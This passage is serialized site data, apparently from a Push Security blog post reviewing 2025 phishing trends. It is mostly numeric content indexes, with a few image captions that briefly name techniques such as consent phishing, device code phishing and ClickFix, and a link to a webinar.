,"nodeType":865},{},[],{"data":105526,"content":105529,"nodeType":925},{"target":105527},{"sys":105528},{"id":101967,"type":922,"linkType":923},[],{"data":105531,"content":105534,"nodeType":925},{"target":105532},{"sys":105533},{"id":101973,"type":922,"linkType":923},[],{"data":105536,"content":105539,"nodeType":925},{"target":105537},{"sys":105538},{"id":101979,"type":922,"linkType":923},[],{"data":105541,"content":105542,"nodeType":866},{},[105543],{"data":105544,"marks":105545,"value":101987,"nodeType":865},{},[],{"data":105547,"content":105548,"nodeType":866},{},[105549],{"data":105550,"marks":105551,"value":101994,"nodeType":865},{},[],{"data":105553,"content":105554,"nodeType":866},{},[105555,105558,105565],{"data":105556,"marks":105557,"value":102001,"nodeType":865},{},[],{"data":105559,"content":105560,"nodeType":882},{"uri":102004},[105561],{"data":105562,"marks":105563,"value":19437,"nodeType":865},{},[105564],{"type":997},{"data":105566,"marks":105567,"value":102013,"nodeType":865},{},[],{"data":105569,"content":105570,"nodeType":953},{},[],{"data":105572,"content":105573,"nodeType":963},{},[105574],{"data":105575,"marks":105576,"value":102024,"nodeType":865},{},[105577],{"type":961},{"data":105579,"content":105580,"nodeType":866},{},[105581],{"data":105582,"marks":105583,"value":102031,"nodeType":865},{},[],{"data":105585,"content":105586,"nodeType":866},{},[105587],{"data":105588,"marks":105589,"value":102038,"nodeType":865},{},[],{"data":105591,"content":105592,"nodeType":866},{},[105593],{"data":105594,"marks":105595,"value":102045,"nodeType":865},{},[],{"data":105597,"content":105598,"nodeType":866},{},[105599,105602,105609,105612,105619,105622,105629],{"data":105600,"marks":105601,"value":102052,"nodeType":865},{},[],{"data":105603,"content":105604,"nodeType":882},{"uri":102055},[105605],{"data":105606,"marks":105607,"value":102061,"nodeType":865},{},[105608],{"type":997},{"data":105610,"marks":105611,"value":3892,"nodeType":865},{},[],{"data":105613,"content":105614,"nodeType":882},{"uri":13634},[105615],{"data":105616,"marks":105617,"value":29898,"nodeType":865},{},[105618],{"type":997},{"data":105620,"marks":105621,"value":102075,"nodeType":865},{},[],{"data":105623,"content":105624,"nodeType":882},{"uri":102078},[105625],{"data":105626,"marks":105627,"value":102084,"nodeType":865},{},[105628],{"type":997},{"data":105630,"marks":105631,"value":102088,"nodeType":865},{},[],{"data":105633,"content":105634,"nodeType":866},{},[105635],{"data":105636,"marks":105637,"value":102095,"nodeType":865},{},[],{"data":105639,"content":105640,"nodeType":1049},{},[105641,105650,105659],{"data":105642,"content":105643,"nodeType":1003},{},[105644],{"data":105645,"content":105646,"nodeType":866},{},[105647],{"data":105648,"marks":105649,"value":102108,"nodeType":865},{},[],{"data":105651,"content":105652,"nodeType":1003},{},[105653],{"data":105654,"content":105655,"nodeType":866},{},[105656],{"data":105657,"marks":105658,"value":102118,"nodeType":865},{},[],{"data":105660,"content":105661,"nodeType":1003},{},[105662],{"data":105663,"content":105664,"nodeType":866},{},[105665,105668,105675],{"data":105666,"marks":105667,"value":102128,"nodeType":865},{},[],{"data":105669,"content":105670,"nodeType":882},{"uri":70317},[105671],{"data":105672,"marks":105673,"value":102136,"nodeType":865},{},[105674],{"type":997},{"data":105676,"marks":105677,"value":102140,"nodeType":865},{},[],{"data":105679,"content":105682,"nodeType":925},{"target":105680},{"sys":105681},{"id":102145,"type":922,"linkType":923},[],{"data":105684,"content":105685,"nodeType":866},{},[105686],{"data":105687,"marks":105688,"value":102153,"nodeType":865},{},[],{"data":105690,"content":105691,"nodeType":866},{},[105692],{"data":105693,"marks":105694,"value":102160,"nodeType":865},{},[],{"data":105696,"content":105697,"nodeType":953},{},[],{"data":105699,"content":105700,"nodeType":963},{},[105701],{"data":105702,"marks":105703,"value":102171,"nodeType":865},{},[105704],{"type":961},{"data":105706,"content":105707,"nodeType":866},{},[105708],{"data":105709,"marks":105710,"value":102178,"nodeType":865},{},[],{"data":105712,"content":105713,"nodeType":866},{},[105714],{"data":105715,"marks":105716,"value":102185,"nodeType":865},{},[],{"data":105718,"content":105719,"nodeType":866},{},[105720],{"data":105721,"marks":105722,"value":102192,"nodeType":865},{},[],{"data":105724,"content":105725,"nodeType":1049},{},[105726,105750,105774],{"data":105727,"content":105728,"nodeType":1003},{},[105729],{"data":105730,"content":105731,"nodeType":866},{},[105732,105735,105743,105747],{"data":105733,"marks":105734,"value":21,"nodeType":865},{},[],{"data":105736,"content":105737,"nodeType":882},{"uri":93156},[105738],{"data":105739,"marks":105740,"value":102213,"nodeType":865},{},[105741,105742],{"type":997},{"type":961},{"data":105744,"marks":105745,"value":102218,"nodeType":865},{},[105746],{"type":961},{"data":105748,"marks":105749,"value":102222,"nodeType":865},{},[],{"data":105751,"content":105752,"nodeType":1003},{},[105753],{"data":105754,"content":105755,"nodeType":866},{},[105756,105759,105767,105771],{"data":105757,"marks":105758,"value":21,"nodeType":865},{},[],{"data":105760,"content":105761,"nodeType":882},{"uri":29482},[105762],{"data":105763,"marks":105764,"value":360,"nodeType":865},{},[105765,105766],{"type":997},{"type":961},{"data":105768,"marks":105769,"value":11208,"nodeType":865},{},[105770],{"type":961},{"data":105772,"marks":105773,"value":102247,"nodeType":865},{},[],{"data":105775,"content":105776,"nodeType":1003},{},[105777],{"data":105778,"content":105779,"nodeType":866},{},[105780,105784],{"data":105781,"marks":105782,"value":102258,"nodeType":865},{},[105783],{"type":961},{"data":105785,"marks":105786,"value":102262,"nodeType":865},{},[],{"data":105788,"content":105791,"nodeType":925},{"target":105789},{"sys":105790},{"id":102267,"type":922,"linkType":923},[],{"data":105793,"content":105796,"nodeType":925},{"target":105794},{"sys":105795},{"id":102273,"type":922,"linkType":923},[],{"data":105798,"content":105799,"nodeType":866},{},[105800,105803,105810,105813,105820],{"data":105801,"marks":105802,"value":102281,"nodeType":865},{},[],{"data":105804,"content":105805,"nodeType":882},{"uri":102284},[105806],{"data":105807,"marks":105808,"value":315,"nodeType":865},{},[105809],{"type":997},{"data":105811,"marks":105812,"value":102293,"nodeType":865},{},[],{"data":105814,"content":105815,"nodeType":882},{"uri":102296},[105816],{"data":105817,"marks":105818,"value":102302,"nodeType":865},{},[105819],{"type":997},{"data":105821,"marks":105822,"value":102306,"nodeType":865},{},[],{"data":105824,"content":105827,"nodeType":925},{"target":105825},{"sys":105826},{"id":102311,"type":922,"linkType":923},[],{"data":105829,"content":105830,"nodeType":866},{},[105831,105834,105841],{"data":105832,"marks":105833,"value":102319,"nodeType":865},{},[],{"data":105835,"content":105836,"nodeType":882},{"uri":102322},[105837],{"data":105838,"marks":105839,"value":11095,"nodeType":865},{},[105840],{"type":997},{"data":105842,"marks":105843,"value":102331,"nodeType":865},{},[],{"data":105845,"content":105848,"nodeType":925},{"target":105846},{"sys":105847},{"id":102336,"type":922,"linkType":923},[],{"data":105850,"content":105851,"nodeType":866},{},[105852],{"data":105853,"marks":105854,"value":102344,"nodeType":865},{},[],{"data":105856,"content":105857,"nodeType":866},{},[105858],{"data":105859,"marks":105860,"value":102351,"nodeType":865},{},[],{"data":105862,"content":105865,"nodeType":925},{"target":105863},{"sys":105864},{"id":102356,"type":922,"linkType":923},[],{"data":105867,"content":105868,"nodeType":953},{},[],{"data":105870,"content":105871,"nodeType":963},{},[105872],{"data":105873,"marks":105874,"value":102368,"nodeType":865},{},[105875],{"type":961},{"data":105877,"content":105878,"nodeType":866},{},[105879],{"data":105880,"marks":105881,"value":102375,"nodeType":865},{},[],{"data":105883,"content":105884,"nodeType":1049},{},[105885,105894,105903],{"data":105886,"content":105887,"nodeType":1003},{},[105888],{"data":105889,"content":105890,"nodeType":866},{},[105891],{"data":105892,"marks":105893,"value":102388,"nodeType":865},{},[],{"data":105895,"content":105896,"nodeType":1003},{},[105897],{"data":105898,"content":105899,"nodeType":866},{},[105900],{"data":105901,"marks":105902,"value":102398,"nodeType":865},{},[],{"data":105904,"content":105905,"nodeType":1003},{},[105906],{"data":105907,"content":105908,"nodeType":866},{},[105909],{"data":105910,"marks":105911,"value":102408,"nodeType":865},{},[],{"data":105913,"content":105914,"nodeType":866},{},[105915],{"data":105916,"marks":105917,"value":102415,"nodeType":865},{},[],{"data":105919,"content":105920,"nodeType":953},{},[],{"data":105922,"content":105923,"nodeType":963},{},[105924],{"data":105925,"marks":105926,"value":102426,"nodeType":865},{},[105927],{"type":961},{"data":105929,"content":105930,"nodeType":866},{},[105931],{"data":105932,"marks":105933,"value":102433,"nodeType":865},{},[],{"data":105935,"content":105936,"nodeType":866},{},[105937],{"data":105938,"marks":105939,"value":102440,"nodeType":865},{},[],{"data":105941,"content":105942,"nodeType":866},{},[105943,105946,105953,105956,105963],{"data":105944,"marks":105945,"value":32401,"nodeType":865},{},[],{"data":105947,"content":105948,"nodeType":882},{"uri":22700},[105949],{"data":105950,"marks":105951,"value":22706,"nodeType":865},{},[105952],{"type":997},{"data":105954,"marks":105955,"value":71034,"nodeType":865},{},[],{"data":105957,"content":105958,"nodeType":882},{"uri":1728},[105959],{"data":105960,"marks":105961,"value":22730,"nodeType":865},{},[105962],{"type":997},{"data":105964,"marks":105965,"value":1048,"nodeType":865},{},[],{"data":105967,"content":105970,"nodeType":925},{"target":105968},{"sys":105969},{"id":71049,"type":922,"linkType":923},[],{"data":105972,"content":105973,"nodeType":866},{},[105974],{"data":105975,"marks":105976,"value":21,"nodeType":865},{},[],{"items":105978},[105979,105981],{"sys":105980,"name":342},{"id":8410},{"sys":105982,"name":11426},{"id":11425},{"items":105984},[105985],{"fullName":11430,"firstName":11431,"jobTitle":11432,"profilePicture":105986},{"url":11434},"blog/taking-the-fight-to-attackers-top-features-of-2025",{"json":105989},{"data":105990,"content":105991,"nodeType":1739},{},[105992],{"data":105993,"content":105994,"nodeType":866},{},[105995],{"data":105996,"marks":105997,"value":105998,"nodeType":865},{},[],"Here’s how real-world attacks and our own R&D informed what we built this year.",{"id":98467,"publishedAt":106000},"2026-08-13T09:35:11.859Z",{"items":106002},[106003,106005],{"sys":106004,"name":342},{"id":8410},{"sys":106006,"name":11426},{"id":11425},{"items":106008},[106009,106011,106013,106015,106017,106019,106021,106023,106025,106027,106029,106031,106033,106035,106037,106039,106041,106043,106045,106047,106049],{"sys":106010,"name":279,"slug":280,"tier":31},{"id":276},{"sys":106012,"name":413,"slug":414,"tier":31},{"id":410},{"sys":106014,"name":297,"slug":298,"tier":31},{"id":294},{"sys":106016,"name":519,"slug":520,"tier":31},{"id":516},{"sys":106018,"name":342,"slug":343,"tier":31},{"id":339},{"sys":106020,"name":642,"slug":643,"tier":31},{"id":639},{"sys":106022,"name":261,"slug":262,"tier":45},{"id":258},{"sys":106024,"name":315,"slug":316,"tier":45},{"id":312},{"sys":106026,"name":333,"slug":334,"tier":45},{"id":330},{"sys":106028,"name":571,"slug":572,"tier":45},{"id":568},{"sys":106030,"name":466,"slug":467,"tier":45},{"id":463},{"sys":106032,"name":511,"slug":512,"tier":45},{"id":508},{"sys":106034,"name":288,"slug":289,"tier":45},{"id":285},{"sys":106036,"name":395,"slug":396,"tier":45},{"id":392},{"sys":106038,"name":502,"slug":503,"tier":45},{"id":499},{"sys":106040,"name":457,"slug":458,"tier":45},{"id":454},{"sys":106042,"name":607,"slug":608,"tier":45},{"id":604},{"sys":106044,"name":422,"slug":423,"tier":45},{"id":419},{"sys":106046,"name":324,"slug":325,"tier":45},{"id":321},{"sys":106048,"name":440,"slug":441,"tier":45},{"id":437},{"sys":106050,"name":650,"slug":651,"tier":45},{"id":647},"PWDqfteh31QCBsZyOGrfwwzxqUSG34OMPlcKf1pr6SQ",{"id":106053,"title":102478,"authorsCollection":106054,"content":106059,"extension":228,"faqItemsCollection":106727,"faqTitle":59,"featured":6,"hashTags":59,"meta":106729,"metaTitle":106730,"ogImage":59,"postType":1783,"publishedDate":102480,"relatedBlogPostsCollection":106731,"slug":102481,"stem":108903,"subtitle":59,"summary":108904,"synopsis":102479,"sys":108915,"tagsCollection":108917,"topicsCollection":108923,"__hash__":108969},"blog/blog/2025-top-phishing-trends.json",{"items":106055},[106056],{"fullName":11430,"firstName":11431,"jobTitle":11432,"socialLinks":106057,"profilePicture":106058},[17536],{"url":11434},{"json":106060,"links":106640},{"data":106061,"content":106062,"nodeType":1739},{},[106063,106068,106074,106080,106083,106090,106096,106102,106108,106188,106193,106198,106203,106209,106215,106231,106234,106241,106247,106253,106259,106295,106301,106341,106346,106352,106358,106361,106368,106374,106380,106386,106450,106455,106460,106486,106491,106507,106512,106518,106524,106529,106532,106539,106545,106575,106581,106584,106591,106597,106603,106629,106634],{"data":106064,"content":106067,"nodeType":925},{"target":106065},{"sys":106066},{"id":101821,"type":922,"linkType":923},[],{"data":106069,"content":106070,"nodeType":866},{},[106071],{"data":106072,"marks":106073,"value":101829,"nodeType":865},{},[],{"data":106075,"content":106076,"nodeType":866},{},[106077],{"data":106078,"marks":106079,"value":101836,"nodeType":865},{},[],{"data":106081,"content":106082,"nodeType":953},{},[],{"data":106084,"content":106085,"nodeType":963},{},[106086],{"data":106087,"marks":106088,"value":101847,"nodeType":865},{},[106089],{"type":961},{"data":106091,"content":106092,"nodeType":866},{},[106093],{"data":106094,"marks":106095,"value":101854,"nodeType":865},{},[],{"data":106097,"content":106098,"nodeType":866},{},[106099],{"data":106100,"marks":106101,"value":101861,"nodeType":865},{},[],{"data":106103,"content":106104,"nodeType":866},{},[106105],{"data":106106,"marks":106107,"value":101868,"nodeType":865},{},[],{"data":106109,"content":106110,"nodeType":1049},{},[106111,106130,106149],{"data":106112,"content":106113,"nodeType":1003},{},[106114],{"data":106115,"content":106116,"nodeType":866},{},[106117,106120,106127],{"data":106118,"marks":106119,"value":21,"nodeType":865},{},[],{"data":106121,"content":106122,"nodeType":882},{"uri":101883},[106123],{"data":106124,"marks":106125,"value":101889,"nodeType":865},{},[106126],{"type":997},{"data":106128,"marks":106129,"value":101893,"nodeType":865},{},[],{"data":106131,"content":106132,"nodeType":1003},{},[106133],{"data":106134,"content":106135,"nodeType":866},{},[106136,106139,106146],{"data":106137,"marks":106138,"value":21,"nodeType":865},{},[],{"data":106140,"content":106141,"nodeType":882},{"uri":101905},[106142],{"data":106143,"marks":106144,"value":101911,"nodeType":865},{},[106145],{"type":997},{"data":106147,"marks":106148,"value":101915,"nodeType":865},{},[],{"data":106150,"content":106151,"nodeType":1003},{},[106152],{"data":106153,"content":106154,"nodeType":866},{},[106155,106158,106165,106168,106175,106178,106185],{"data":106156,"marks":106157,"value":101925,"nodeType":865},{},[],{"data":106159,"content":106160,"nodeType":882},{"uri":101928},[106161],{"data":106162,"marks":106163,"value":101934,"nodeType":865},{},[106164],{"type":997},{"data":106166,"marks":106167,"value":101938,"nodeType":865},{},[],{"data":106169,"content":106170,"nodeType":882},{"uri":101941},[106171],{"data":106172,"marks":106173,"value":90224,"nodeType":865},{},[106174],{"type":997},{"data":106176,"marks":106177,"value":101950,"nodeType":865},{},[],{"data":106179,"content":106180,"nodeType":882},{"uri":101953},[106181],{"data":106182,"marks":106183,"value":90248,"nodeType":865},{},[106184],{"type":997},{"data":106186,"marks":106187,"value":101962,"nodeType":865},{},[],{"data":106189,"content":106192,"nodeType":925},{"target":106190},{"sys":106191},{"id":101967,"type":922,"linkType":923},[],{"data":106194,"content":106197,"nodeType":925},{"target":106195},{"sys":106196},{"id":101973,"type":922,"linkType":923},[],{"data":106199,"content":106202,"nodeType":925},{"target":106200},{"sys":106201},{"id":101979,"type":922,"linkType":923},[],{"data":106204,"content":106205,"nodeType":866},{},[106206],{"data":106207,"marks":106208,"value":101987,"nodeType":865},{},[],{"data":106210,"content":106211,"nodeType":866},{},[106212],{"data":106213,"marks":106214,"value":101994,"nodeType":865},{},[],{"data":106216,"content":106217,"nodeType":866},{},[106218,106221,106228],{"data":106219,"marks":106220,"value":102001,"nodeType":865},{},[],{"data":106222,"content":106223,"nodeType":882},{"uri":102004},[106224],{"data":106225,"marks":106226,"value":19437,"nodeType":865},{},[106227],{"type":997},{"data":106229,"marks":106230,"value":102013,"nodeType":865},{},[],{"data":106232,"content":106233,"nodeType":953},{},[],{"data":106235,"content":106236,"nodeType":963},{},[106237],{"data":106238,"marks":106239,"value":102024,"nodeType":865},{},[106240],{"type":961},{"data":106242,"content":106243,"nodeType":866},{},[106244],{"data":106245,"marks":106246,"value":102031,"nodeType":865},{},[],{"data":106248,"content":106249,"nodeType":866},{},[106250],{"data":106251,"marks":106252,"value":102038,"nodeType":865},{},[],{"data":106254,"content":106255,"nodeType":866},{},[106256],{"data":106257,"marks":106258,"value":102045,"nodeType":865},{},[],{"data":106260,"content":106261,"nodeType":866},{},[106262,106265,106272,106275,106282,106285,106292],{"data":106263,"marks":106264,"value":102052,"nodeType":865},{},[],{"data":106266,"content":106267,"nodeType":882},{"uri":102055},[106268],{"data":106269,"marks":106270,"value":102061,"nodeType":865},{},[106271],{"type":997},{"data":106273,"marks":106274,"value":3892,"nodeType":865},{},[],{"data":106276,"content":106277,"nodeType":882},{"uri":13634},[106278],{"data":106279,"marks":106280,"value":29898,"nodeType":865},{},[106281],{"type":997},{"data":106283,"marks":106284,"value":102075,"nodeType":865},{},[],{"data":106286,"content":106287,"nodeType":882},{"uri":102078},[106288],{"data":106289,"marks":106290,"value":102084,"nodeType":865},{},[106291],{"type":997},{"data":106293,"marks":106294,"value":102088,"nodeType":865},{},[],{"data":106296,"content":106297,"nodeType":866},{},[106298],{"data":106299,"marks":106300,"value":102095,"nodeType":865},{},[],{"data":106302,"content":106303,"nodeType":1049},{},[106304,106313,106322],{"data":106305,"content":106306,"nodeType":1003},{},[106307],{"data":106308,"content":106309,"nodeType":866},{},[106310],{"data":106311,"marks":106312,"value":102108,"nodeType":865},{},[],{"data":106314,"content":106315,"nodeType":1003},{},[106316],{"data":106317,"content":106318,"nodeType":866},{},[106319],{"data":106320,"marks":106321,"value":102118,"nodeType":865},{},[],{"data":106323,"content":106324,"nodeType":1003},{},[106325],{"data":106326,"content":106327,"nodeType":866},{},[106328,106331,106338],{"data":106329,"marks":106330,"value":102128,"nodeType":865},{},[],{"data":106332,"content":106333,"nodeType":882},{"uri":70317},[106334],{"data":106335,"marks":106336,"value":102136,"nodeType":865},{},[106337],{"type":997},{"data":106339,"marks":106340,"value":102140,"nodeType":865},{},[],{"data":106342,"content":106345,"nodeType":925},{"target":106343},{"sys":106344},{"id":102145,"type":922,"linkType":923},[],{"data":106347,"content":106348,"nodeType":866},{},[106349],{"data":106350,"marks":106351,"value":102153,"nodeType":865},{},[],{"data":106353,"content":106354,"nodeType":866},{},[106355],{"data":106356,"marks":106357,"value":102160,"nodeType":865},{},[],{"data":106359,"content":106360,"nodeType":953},{},[],{"data":106362,"content":106363,"nodeType":963},{},[106364],{"data":106365,"marks":106366,"value":102171,"nodeType":865},{},[106367],{"type":961},{"data":106369,"content":106370,"nodeType":866},{},[106371],{"data":106372,"marks":106373,"value":102178,"nodeType":865},{},[],{"data":106375,"content":106376,"nodeType":866},{},[106377],{"data":106378,"marks":106379,"value":102185,"nodeType":865},{},[],{"data":106381,"content":106382,"nodeType":866},{},[106383],{"data":106384,"marks":106385,"value":102192,"nodeType":865},{},[],{"data":106387,"content":106388,"nodeType":1049},{},[106389,106413,106437],{"data":106390,"content":106391,"nodeType":1003},{},[106392],{"data":106393,"content":106394,"nodeType":866},{},[106395,106398,106406,106410],{"data":106396,"marks":106397,"value":21,"nodeType":865},{},[],{"data":106399,"content":106400,"nodeType":882},{"uri":93156},[106401],{"data":106402,"marks":106403,"value":102213,"nodeType":865},{},[106404,106405],{"type":997},{"type":961},{"data":106407,"marks":106408,"value":102218,"nodeType":865},{},[106409],{"type":961},{"data":106411,"marks":106412,"value":102222,"nodeType":865},{},[],{"data":106414,"content":106415,"nodeType":1003},{},[106416],{"data":106417,"content":106418,"nodeType":866},{},[106419,106422,106430,106434],{"data":106420,"marks":106421,"value":21,"nodeType":865},{},[],{"data":106423,"content":106424,"nodeType":882},{"uri":29482},[106425],{"data":106426,"marks":106427,"value":360,"nodeType":865},{},[106428,106429],{"type":997},{"type":961},{"data":106431,"marks":106432,"value":11208,"nodeType":865},{},[106433],{"type":961},{"data":106435,"marks":106436,"value":102247,"nodeType":865},{},[],{"data":106438,"content":106439,"nodeType":1003},{},[106440],{"data":106441,"content":106442,"nodeType":866},{},[106443,106447],{"data":106444,"marks":106445,"value":102258,"nodeType":865},{},[106446],{"type":961},{"data":106448,"marks":106449,"value":102262,"nodeType":865},{},[],{"data":106451,"content":106454,"nodeType":925},{"target":106452},{"sys":106453},{"id":102267,"type":922,"linkType":923},[],{"data":106456,"content":106459,"nodeType":925},{"target":106457},{"sys":106458},{"id":102273,"type":922,"linkType":923},[],{"data":106461,"content":106462,"nodeType":866},{},[106463,106466,106473,106476,106483],{"data":106464,"marks":106465,"value":102281,"nodeType":865},{},[],{"data":106467,"content":106468,"nodeType":882},{"uri":102284},[106469],{"data":106470,"marks":106471,"value":315,"nodeType":865},{},[106472],{"type":997},{"data":106474,"marks":106475,"value":102293,"nodeType":865},{},[],{"data":106477,"content":106478,"nodeType":882},{"uri":102296},[106479],{"data":106480,"marks":106481,"value":102302,"nodeType":865},{},[106482],{"type":997},{"data":106484,"marks":106485,"value":102306,"nodeType":865},{},[],{"data":106487,"content":106490,"nodeType":925},{"target":106488},{"sys":106489},{"id":102311,"type":922,"linkType":923},[],{"data":106492,"content":106493,"nodeType":866},{},[106494,106497,106504],{"data":106495,"marks":106496,"value":102319,"nodeType":865},{},[],{"data":106498,"content":106499,"nodeType":882},{"uri":102322},[106500],{"data":106501,"marks":106502,"value":11095,"nodeType":865},{},[106503],{"type":997},{"data":106505,"marks":106506,"value":102331,"nodeType":865},{},[],{"data":106508,"content":106511,"nodeType":925},{"target":106509},{"sys":106510},{"id":102336,"type":922,"linkType":923},[],{"data":106513,"content":106514,"nodeType":866},{},[106515],{"data":106516,"marks":106517,"value":102344,"nodeType":865},{},[],{"data":106519,"content":106520,"nodeType":866},{},[106521],{"data":106522,"marks":106523,"value":102351,"nodeType":865},{},[],{"data":106525,"content":106528,"nodeType":925},{"target":106526},{"sys":106527},{"id":102356,"type":922,"linkType":923},[],{"data":106530,"content":106531,"nodeType":953},{},[],{"data":106533,"content":106534,"nodeType":963},{},[106535],{"data":106536,"marks":106537,"value":102368,"nodeType":865},{},[106538],{"type":961},{"data":106540,"content":106541,"nodeType":866},{},[106542],{"data":106543,"marks":106544,"value":102375,"nodeType":865},{},[],{"data":106546,"content":106547,"nodeType":1049},{},[106548,106557,106566],{"data":106549,"content":106550,"nodeType":1003},{},[106551],{"data":106552,"content":106553,"nodeType":866},{},[106554],{"data":106555,"marks":106556,"value":102388,"nodeType":865},{},[],{"data":106558,"content":106559,"nodeType":1003},{},[106560],{"data":106561,"content":106562,"nodeType":866},{},[106563],{"data":106564,"marks":106565,"value":102398,"nodeType":865},{},[],{"data":106567,"content":106568,"nodeType":1003},{},[106569],{"data":106570,"content":106571,"nodeType":866},{},[106572],{"data":106573,"marks":106574,"value":102408,"nodeType":865},{},[],{"data":106576,"content":106577,"nodeType":866},{},[106578],{"data":106579,"marks":106580,"value":102415,"nodeType":865},{},[],{"data":106582,"content":106583,"nodeType":953},{},[],{"data":106585,"content":106586,"nodeType":963},{},[106587],{"data":106588,"marks":106589,"value":102426,"nodeType":865},{},[106590],{"type":961},{"data":106592,"content":106593,"nodeType":866},{},[106594],{"data":106595,"marks":106596,"value":102433,"nodeType":865},{},[],{"data":106598,"content":106599,"nodeType":866},{},[106600],{"data":106601,"marks":106602,"value":102440,"nodeType":865},{},[],{"data":106604,"content":106605,"nodeType":866},{},[106606,106609,106616,106619,106626],{"data":106607,"marks":106608,"value":32401,"nodeType":865},{},[],{"data":106610,"content":106611,"nodeType":882},{"uri":22700},[106612],{"data":106613,"marks":106614,"value":22706,"nodeType":865},{},[106615],{"type":997},{"data":106617,"marks":106618,"value":71034,"nodeType":865},{},[],{"data":106620,"content":106621,"nodeType":882},{"uri":1728},[106622],{"data":106623,"marks":106624,"value":22730,"nodeType":865},{},[106625],{"type":997},{"data":106627,"marks":106628,"value":1048,"nodeType":865},{},[],{"data":106630,"content":106633,"nodeType":925},{"target":106631},{"sys":106632},{"id":71049,"type":922,"linkType":923},[],{"data":106635,"content":106636,"nodeType":866},{},[106637],{"data":106638,"marks":106639,"value":21,"nodeType":865},{},[],{"entries":106641},{"hyperlink":106642,"inline":106643,"block":106644},[],[],[106645,106670,106675,106681,106687,106693,106698,106705,106711,106718,106724],{"sys":106646,"__typename":9270,"content":106647,"name":106669,"title":59},{"id":101821},{"json":106648},{"nodeType":1739,"data":106649,"content":106650},{},[106651],{"nodeType":866,"data":106652,"content":106653},{},[106654,106658,106666],{"nodeType":865,"value":106655,"marks":106656,"data":106657},"We recently ran a webinar packed full of attack demo's, showcasing some of the most interesting attacks intercepted by Push in 2025. ",[],{},{"nodeType":882,"data":106659,"content":106661},{"uri":106660},"https://pushsecurity.com/webinar/phishing-2025-review",[106662],{"nodeType":865,"value":106663,"marks":106664,"data":106665},"You can now watch it on demand here!",[],{},{"nodeType":865,"value":21,"marks":106667,"data":106668},[],{},"Top phishing trends insight box 1",{"sys":106671,"__typename":1747,"title":106672,"caption":106672,"layoutMode":59,"file":106673},{"id":101967},"Fake private equity fund page hosted on Google Sites. ",{"url":106674,"width":1759,"height":21408},"https://images.ctfassets.net/y1cdw1ablpvd/2DbF1Lj4h5HVGrqDhlVlTF/9efa11f318206eb913d83c254746efb1/1.png",{"sys":106676,"__typename":1747,"title":106677,"caption":106677,"layoutMode":59,"file":106678},{"id":101973},"Custom investment fund landing page hosted on Firebase.",{"url":106679,"width":1759,"height":106680},"https://images.ctfassets.net/y1cdw1ablpvd/2NH9muR2eBEPEybqQ8o0yu/ef66b40c7428790c9017181e17b33558/2.png",1080,{"sys":106682,"__typename":1747,"title":106683,"caption":106683,"layoutMode":59,"file":106684},{"id":101979},"Malvertising link for “Google Ads” taking the top Sponsored Results spot.",{"url":106685,"width":1759,"height":106686},"https://images.ctfassets.net/y1cdw1ablpvd/2gQcwHSyUKIoqlW1upRSzK/5ead4c9e6c1e6659be7d781ad85ed9ea/3.png",1205,{"sys":106688,"__typename":1747,"title":106689,"caption":106689,"layoutMode":59,"file":106690},{"id":102145},"Example of a typical phishing link chain incorporating legitimate websites before serving up a phishing page, as shown in the Push Security “Timelines” detection feature.",{"url":106691,"width":106692,"height":1759},"https://images.ctfassets.net/y1cdw1ablpvd/3WZkEAVsAH7PWtcoQJfDG1/03826279b5dd2bc11fbbf34f82c59136/4.png",1743,{"sys":106694,"__typename":1747,"title":106695,"caption":106695,"layoutMode":59,"file":106696},{"id":102267},"Consent phishing examples where an attacker tricks the victim into authorizing an attacker-controlled app with risky permissions.",{"url":106697,"width":1759,"height":70203},"https://images.ctfassets.net/y1cdw1ablpvd/2ZgY3mMKcE6IGpH55kOuL4/2a7e78e97654faa61cf8e8b002789b96/5.png",{"sys":106699,"__typename":1747,"title":106700,"caption":106700,"layoutMode":59,"file":106701},{"id":102273},"Device code phishing targeting Salesforce, as seen in the Scattered Lapsus$ Hunters campaign. ",{"url":106702,"width":106703,"height":106704},"https://images.ctfassets.net/y1cdw1ablpvd/7uvYjRiqG4E7qj3PTmTZzW/3d3ed52d3157bf12a630e35eb2ae08d1/6.png",1488,950,{"sys":106706,"__typename":1747,"title":106707,"caption":106707,"layoutMode":59,"file":106708},{"id":102311},"ClickFix attacks prompt the victim to “fix” an issue on the webpage by running code locally on their machine.",{"url":106709,"width":1759,"height":106710},"https://images.ctfassets.net/y1cdw1ablpvd/1LXv96rhy5Sv6SBlJP0bJS/6fb6b49dcd2bdc003c2aa60ed271708f/7.png",1117,{"sys":106712,"__typename":1747,"title":106713,"caption":106713,"layoutMode":59,"file":106714},{"id":102336},"ConsentFix prompts victims to paste a URL containing an OAuth code, authorising a connection to the attacker’s OAuth app tenant. ",{"url":106715,"width":106716,"height":106717},"https://images.ctfassets.net/y1cdw1ablpvd/7IfG43sz0jRnrNiKsMwN8j/1373b7cd86fe969acad27ad956612ca0/8.png",1225,1135,{"sys":106719,"__typename":1747,"title":106720,"caption":106720,"layoutMode":59,"file":106721},{"id":102356},"There are lots of ways that attackers can achieve account takeover today via phishing / social engineering.",{"url":106722,"width":1759,"height":106723},"https://images.ctfassets.net/y1cdw1ablpvd/4Wz7gAJLWDyaGjj030ypH2/7a07f1e5c46cdebd2e395d0ceb412387/9.png",969,{"sys":106725,"__typename":5631,"type":5632,"ctaText":106726,"buttonLabel":88203,"buttonColour":5635,"buttonUrl":106660},{"id":71049},"Learn how phishing evolved in 2025, showcasing the most sophisticated attacks and key trends uncovered by Push researchers",{"items":106728},[],{},"Analyzing 2025's top phishing trends",{"items":106732},[106733,107481,108075],{"__typename":1788,"sys":106734,"content":106735,"title":60304,"synopsis":71057,"hashTags":59,"publishedDate":71058,"slug":60305,"tagsCollection":107471,"authorsCollection":107477},{"id":15510},{"json":106736},{"data":106737,"content":106738,"nodeType":1739},{},[106739,106746,106752,106758,106764,106774,106780,106785,106790,106793,106800,106806,106812,106817,106833,106839,106844,106850,106855,106861,106900,106905,106910,106916,106922,106925,106932,106948,106954,106959,106975,106980,106996,107002,107005,107012,107018,107054,107064,107067,107074,107089,107095,107108,107114,107120,107125,107131,107134,107141,107147,107195,107201,107204,107211,107216,107222,107228,107233,107239,107268,107274,107280,107285,107291,107296,107303,107319,107325,107355,107361,107391,107394,107401,107407,107412,107428,107434,107460,107465],{"data":106740,"content":106741,"nodeType":963},{},[106742],{"data":106743,"marks":106744,"value":70224,"nodeType":865},{},[106745],{"type":961},{"data":106747,"content":106748,"nodeType":866},{},[106749],{"data":106750,"marks":106751,"value":70231,"nodeType":865},{},[],{"data":106753,"content":106754,"nodeType":866},{},[106755],{"data":106756,"marks":106757,"value":70238,"nodeType":865},{},[],{"data":106759,"content"